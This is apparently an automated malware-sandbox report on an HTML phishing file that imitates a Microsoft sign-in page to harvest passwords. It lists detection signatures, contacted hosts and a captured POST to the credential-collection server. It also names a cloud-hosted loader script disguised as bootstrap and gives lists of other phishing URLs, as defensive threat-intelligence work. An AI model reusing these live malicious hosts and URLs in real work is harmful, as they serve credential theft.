Edit tour

Windows Analysis Report
Swift_ach Complaints.sppgCQDM.html

Overview

General Information

Sample name:	Swift_ach Complaints.sppgCQDM.html
Analysis ID:	1523279
MD5:	6822fc30ecae313f0d163b0dba649915
SHA1:	37e0c4380f286501aa73c3116514e8b326a7443f
SHA256:	1038b7cedacd32f466edc489f5618442f9eec0dc096a481082e044d3e06a8bb7
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 356 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Swift_ach Complaints.sppgCQDM.html" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1944,i,14075110715521736204,1099939863701450736,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
7.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /6146851516/next.php HTTP/1.1Host: 185.215.165.89Connection: keep-aliveContent-Length: 13User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: nullAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check

Source: chromecache_156.2.dr, chromecache_155.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_145.2.dr, chromecache_158.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_154.2.dr, chromecache_150.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_154.2.dr, chromecache_150.2.dr, chromecache_145.2.dr, chromecache_158.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_154.2.dr, chromecache_150.2.dr, chromecache_145.2.dr, chromecache_158.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 61054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61052
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61046
Source: unknown	Network traffic detected: HTTP traffic on port 61053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61048
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61054
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:61045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:61046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:61051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:61053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:61054 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Swift_ach Complaints.sppgCQDM.html

Initial sample: swift

Source: classification engine

Classification label: mal84.phis.winHTML@33/27@26/15

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Swift_ach Complaints.sppgCQDM.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1944,i,14075110715521736204,1099939863701450736,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1944,i,14075110715521736204,1099939863701450736,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html

HTTP Parser: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
stackpath.bootstrapcdn.com	0%	Virustotal	Browse
s-part-0016.t-0009.t-msedge.net	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
cos.na-ashburn.myqcloud.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
maxcdn.bootstrapcdn.com	0%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
sni1gl.wpc.omegacdn.net	0%	Virustotal	Browse
aadcdn.msftauth.net	0%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	URL Reputation	safe
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	0%	URL Reputation	safe
http://opensource.org/licenses/MIT).	0%	URL Reputation	safe
https://getbootstrap.com/)	0%	URL Reputation	safe
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	0%	Virustotal		Browse
https://code.jquery.com/jquery-3.2.1.slim.min.js	1%	Virustotal		Browse
https://github.com/twbs/bootstrap/blob/master/LICENSE)	0%	Virustotal		Browse
https://6146851516-1323985617.cos.na-ashburn.myqcloud.com/attach%2Fbootstrap.min.js	0%	Virustotal		Browse
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Virustotal		Browse
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	0%, Virustotal, Browse	unknown
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.2.137	true	false	1%, Virustotal, Browse	unknown
cos.na-ashburn.myqcloud.com	49.51.77.119	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	0%, Virustotal, Browse	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	0%, Virustotal, Browse	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	0%, Virustotal, Browse	unknown
www.google.com	216.58.212.132	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
6146851516-1323985617.cos.na-ashburn.myqcloud.com	unknown	unknown	false		unknown
aadcdn.msftauth.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	1%, Virustotal, Browse	unknown
https://6146851516-1323985617.cos.na-ashburn.myqcloud.com/attach%2Fbootstrap.min.js	false	0%, Virustotal, Browse	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	0%, Virustotal, Browse	unknown
http://185.215.165.89/6146851516/next.php	false		unknown
file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html	true		unknown
file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html#	true		unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	0%, Virustotal, Browse	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_154.2.dr, chromecache_150.2.dr, chromecache_145.2.dr, chromecache_158.2.dr	false	0%, Virustotal, Browse	unknown
https://getbootstrap.com)	chromecache_145.2.dr, chromecache_158.2.dr	false		unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_154.2.dr, chromecache_150.2.dr, chromecache_145.2.dr, chromecache_158.2.dr	false	0%, Virustotal, Browse	unknown
http://opensource.org/licenses/MIT).	chromecache_156.2.dr, chromecache_155.2.dr	false	URL Reputation: safe	unknown
https://getbootstrap.com/)	chromecache_154.2.dr, chromecache_150.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
216.58.212.132	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.165.89	unknown	Germany	46261	QUICKPACKETUS	false
49.51.78.226	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
104.18.11.207	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
49.51.77.119	cos.na-ashburn.myqcloud.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false

Private

IP
192.168.2.6
192.168.2.22

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523279
Start date and time:	2024-10-01 12:20:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Swift_ach Complaints.sppgCQDM.html
Detection:	MAL
Classification:	mal84.phis.winHTML@33/27@26/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 173.194.76.84, 142.250.184.206, 142.250.186.138, 34.104.35.123, 142.250.185.106, 142.250.185.138, 142.250.186.74, 142.250.185.74, 142.250.185.170, 172.217.23.106, 216.58.206.42, 142.250.185.234, 142.250.184.234, 142.250.186.170, 142.250.181.234, 142.250.184.202, 216.58.212.170, 142.250.185.202, 216.58.212.138, 192.229.221.95, 93.184.221.240, 142.250.185.163, 142.250.185.110
Excluded domains from analysis (whitelisted): clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html Model: jbxai	{ "brand":["Microsoft"], "contains_trigger_text":true, "trigger_text":"Sign In We couldn' t find an account with that username. Try another account.", "prominent_button_name":"next", "text_input_field_labels":["complaints. spp g@ hs cn i. net"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: file:///C:/Users/user/Desktop/Swift_ach%20Complaints.sppgCQDM.html# Model: jbxai	{ "brand":["Microsoft"], "contains_trigger_text":true, "trigger_text":"Sign In We couldn' t find an account with that username. Try another account.", "prominent_button_name":"next", "text_input_field_labels":["complaints. spp g@ hs cn i. net"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
13.107.246.44	http://microsoft.biosency.com/	Get hash	malicious	Unknown	Browse
	https://index-html.info/?rid=jhOgcp4	Get hash	malicious	Unknown	Browse
	CLQD.htm	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.co.za/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp/s%2Furl.za.m.mimecastprotect.com/s/BjZHCy856GFEJl8cZf1CxlF3B	Get hash	malicious	Unknown	Browse
	https://0610ddce8f18f5a435e0067c7ddb3ec6.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://c34ebfd07b9fd2a2b598b27a26c95beb2ad53a4fcc238014c4963dd0bf.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://adf-ask-accessibility-daeeafembaazdzfk.z01.azurefd.net	Get hash	malicious	Unknown	Browse
	https://securcomau.gurucan.com/66e8e67dd77b5900129b4800	Get hash	malicious	Unknown	Browse
	https://jenskullenius-my.sharepoint.com/:f:/g/personal/ulf_kullenius_gaiabiomaterials_com/EmQl89SiCOBCpbtr01o20eIB9z4rZpQ3dKKrBHn2QJKTxw?e=afHuwm	Get hash	malicious	Unknown	Browse
	https://microsoft-emailverify.kodol31658.workers.dev/signin?sso_reload=true/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
stackpath.bootstrapcdn.com	Payment_Notification-Sep27.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://dev-shamsunpavel.github.io/assignment-04-facebook_login_and_signup/index.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://certain-jeweled-verse.glitch.me/newson.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://quatangff-garena.pw.io.vn/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://ipv6.52-229-18-172.cprapid.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://ahksoch.serv00.net/x92gamy6wh/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	http://pub-a5dea08759934238bd2363b86fdeed1a.r2.dev/makinsalin.html	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.18.11.207
	https://portal-treezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://bridge-docs-trezor.github.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://claim.eventsmidasbuys.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
s-part-0016.t-0009.t-msedge.net	http://microsoft.biosency.com/	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://index-html.info/?rid=jhOgcp4	Get hash	malicious	Unknown	Browse	13.107.246.44
	CLQD.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	https://www.google.co.za/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp/s%2Furl.za.m.mimecastprotect.com/s/BjZHCy856GFEJl8cZf1CxlF3B	Get hash	malicious	Unknown	Browse	13.107.246.44
	https://0610ddce8f18f5a435e0067c7ddb3ec6.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	http://c34ebfd07b9fd2a2b598b27a26c95beb2ad53a4fcc238014c4963dd0bf.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
